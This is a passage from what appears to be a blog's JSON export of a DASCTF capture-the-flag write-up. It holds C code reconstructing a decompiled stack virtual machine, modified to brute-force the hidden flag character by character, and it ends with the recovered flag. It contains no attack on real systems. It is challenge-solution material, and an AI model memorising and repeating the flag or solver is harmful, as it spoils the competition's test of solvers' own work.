502];\n    printf(&quot;%d + %d\\n&quot;, v2,v3);\n    return vm_push(a1, v3 + v2);\n}\n__int64 __fastcall vm_and(int *a1)\n{\n    int v2; \/\/ [rsp+18h] [rbp-8h]\n\n    if ( (unsigned int)a1[501] &lt;= 1 )\n    {\n        puts(&quot;and instruction cannot be executed with less than two stack elements!&quot;);\n        _exit(-1);\n    }\n    v2 = a1[--a1[501] + 502];\n    int v3 = a1[--a1[501] + 502];\n    printf(&quot;%d | %d = %d\\n&quot;, v2,v3, v2|v3);\n    return vm_push(a1,  v3 | (unsigned int)v2);\n}\n__int64 __fastcall vm_lsh(int *a1, char a2)\n{\n    if ( a1[501] ){\n        int v2 = a1[--a1[501] + 502];\n        printf(&quot;%d &lt;&lt; %d = 0x%x\\n&quot;, v2,a2, v2 &lt;&lt; a2);\n        return vm_push(a1, v2 &lt;&lt; a2);\n    }\n    puts(&quot;lsh instruction cannot be executed with a empty stack!&quot;);\n    _exit(-1);\n    return vm_push(a1, a1[--a1[501] + 502] &lt;&lt; a2);\n}\n__int64 __fastcall vm_rsh(int *a1, char a2)\n{\n    if ( a1[501] ){\n        int v2 = a1[--a1[501] + 502];\n        printf(&quot;%d &gt;&gt; %d = 0x%x\\n&quot;, v2,a2, v2 &gt;&gt; a2);\n        return vm_push(a1, v2 &gt;&gt; a2);\n    }\n\n    puts(&quot;rsh instruction cannot be executed with a empty stack!&quot;);\n    _exit(-1);\n    return vm_push(a1, (unsigned int)a1[--a1[501] + 502] &gt;&gt; a2);\n}\nunsigned __int64 __fastcall vm_read(int *a1)\n{\n    char v2; \/\/ [rsp+17h] [rbp-9h] BYREF\n    unsigned __int64 v3; \/\/ [rsp+18h] [rbp-8h]\n\n    v3 = 0;\n    if ( (unsigned int)a1[501] &gt; 0x63 )\n    {\n        puts(&quot;read instruction cannot be executed with a full stack!&quot;);\n        _exit(-1);\n    }\n    \/\/scanf(&quot;%c&quot;, &amp;v2);\n    \/\/printf(&quot;[get] %c %d\\n&quot;,v2,v2);\n    \/\/vm_push(a1, v2);\n    if(good_flag[flag_size - 1] == &#039;}&#039;){\n        exit(0);\n    }\n    vm_push(a1, good_flag[flag_size]);\n    return v3 - 0;\n}\nint __fastcall vm_print(int *a1)\n{\n    if ( a1[501] ){\n        return putchar((char)a1[--a1[501] + 502]);\n    }\n    puts(&quot;print instruction cannot be executed with a full stack!&quot;);\n    _exit(-1);\n    return putchar((char)a1[--a1[501] + 502]);\n}\nint *__fastcall vm_jmp(int *a1)\n{\n    int *result; \/\/ rax\n\n    if ( !a1[501] )\n    {\n        puts(&quot;jmp instruction cannot be executed with a empty stack!&quot;);\n        _exit(-1);\n    }\n    --a1[501];\n    result = a1;\n    *a1 = a1[a1[501] + 502];\n    return result;\n}\nint *__fastcall vm_be(int *a1)\n{\n    int *result; \/\/ rax\n\n    if ( (unsigned int)a1[501] &lt;= 2 )\n    {\n        puts(&quot;be instruction cannot be executed with less than three stack elements!&quot;);\n        _exit(-1);\n    }\n    result = a1;\n    printf(&quot;if 0x%x == 0x%x\\n&quot;, a1[a1[501] - 2 + 502] , a1[a1[501] - 3 + 502]);\n    if ( a1[a1[501] - 2 + 502] == a1[a1[501] - 3 + 502] )\n    {\n        *a1 = a1[a1[501] - 1 + 502];\n        printf(&quot;[!!!]%s\\n&quot;, good_flag);\n        flag_size ++;\n    }\n    else{\n        a1[501] = 0;\n        a1[a1[501] - 2 + 502]=0;\n        a1[a1[501] - 3 + 502]=0;\n        \/\/printf(&quot;good_flag[%d] = %d\\n&quot;, flag_size,good_flag[flag_size]);\n        good_flag[flag_size] += 1;\n        flag_size=0;\n        ++*a1;\n\n        \/\/vm(s_ptr);\n        \/\/exit(0);\n    }\n    return result;\n}\nint *__fastcall vm_bl(int *a1)\n{\n    int *result; \/\/ rax\n    int v2; \/\/ [rsp+14h] [rbp-Ch]\n    unsigned int v3; \/\/ [rsp+18h] [rbp-8h]\n\n    if ( (unsigned int)a1[501] &lt;= 2 )\n    {\n        puts(&quot;bl instruction cannot be executed with less than three stack elements!&quot;);\n        _exit(-1);\n    }\n    v2 = a1[--a1[501] - 1 + 502];\n    v3 = a1[--a1[501] - 2 + 502];\n    --a1[501];\n    result = a1;\n    if ( v3 &gt;= a1[a1[501] - 3 + 502] ){\n        printf(&quot;aaa\\n&quot;);\n        ++*a1;\n    }\n    else{\n        printf(&quot;bbb\\n&quot;);\n        *a1 = v2;\n    }\n\n    return result;\n}\nunsigned __int64 __fastcall vm(int *a1)\n{\n    unsigned char v2; \/\/ [rsp+13h] [rbp-Dh] BYREF\n    unsigned int v3; \/\/ [rsp+14h] [rbp-Ch] BYREF\n\n    while ( 1 )\n    {\n        vm_parse((unsigned int)a1[*a1 + 1], &amp;v2, &amp;v3);\n        switch ( v2 )\n        {\n            case 1:\n                vm_push(a1, v3);\n                ++*a1;\n                break;\n            case 2:\n                vm_pop(a1);\n                ++*a1;\n                break;\n            case 3:\n                vm_add(a1);\n                ++*a1;\n                break;\n            case 4:\n                vm_and(a1);\n                ++*a1;\n                break;\n            case 5:\n                vm_lsh(a1, v3);\n                ++*a1;\n                break;\n            case 6:\n                vm_rsh(a1, v3);\n                ++*a1;\n                break;\n            case 7:\n                vm_read(a1);\n                ++*a1;\n                break;\n            case 8:\n                vm_print(a1);\n                ++*a1;\n                break;\n            case 9:\n                vm_jmp(a1);\n                break;\n            case 10:\n                vm_be(a1);\n                break;\n            case 11:\n                vm_bl(a1);\n                break;\n            case 12:\n                return 0;\n            default:\n                continue;\n        }\n    }\n}\nunsigned __int64 vm_init()\n{\n    return vm((int*)s);\n}\n\nint main() {\n    while(1){\n        *s_ptr = 0;\n        vm(s_ptr);\n    }\n    printf(&quot;%x, %x\\n&quot;,s_ptr, s);\n    vm_init();\n    *s_ptr = 0;\n    printf(&quot;next!\\n&quot;);\n    vm(s_ptr);\n    *s_ptr = 0;\n    printf(&quot;next222!\\n&quot;);\n    vm(s_ptr);\n    return 0;\n}<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/www.s1mh0.cn\/blog\/wp-content\/uploads\/2024\/10\/cpipc2024_27.png\" alt=\"img\" \/> <\/p>\n<p>DASCTF{h1Den_Vm_I3_Soo0<em>Fun<\/em>!}<\/p>\n<div class=\"clearfix\"><\/div>","protected":false},"excerpt":{"rendered":"<p>Misc SeekThroughAllNetworks This is a difficult task to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-408","post","type-post","status-publish","format-standard","hentry","category-wp"],"views":1289,"_links":{"self":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/408","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=408"}],"version-history":[{"count":10,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/408\/revisions"}],"predecessor-version":[{"id":456,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/408\/revisions\/456"}],"wp:attachment":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=408"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=408"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=408"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}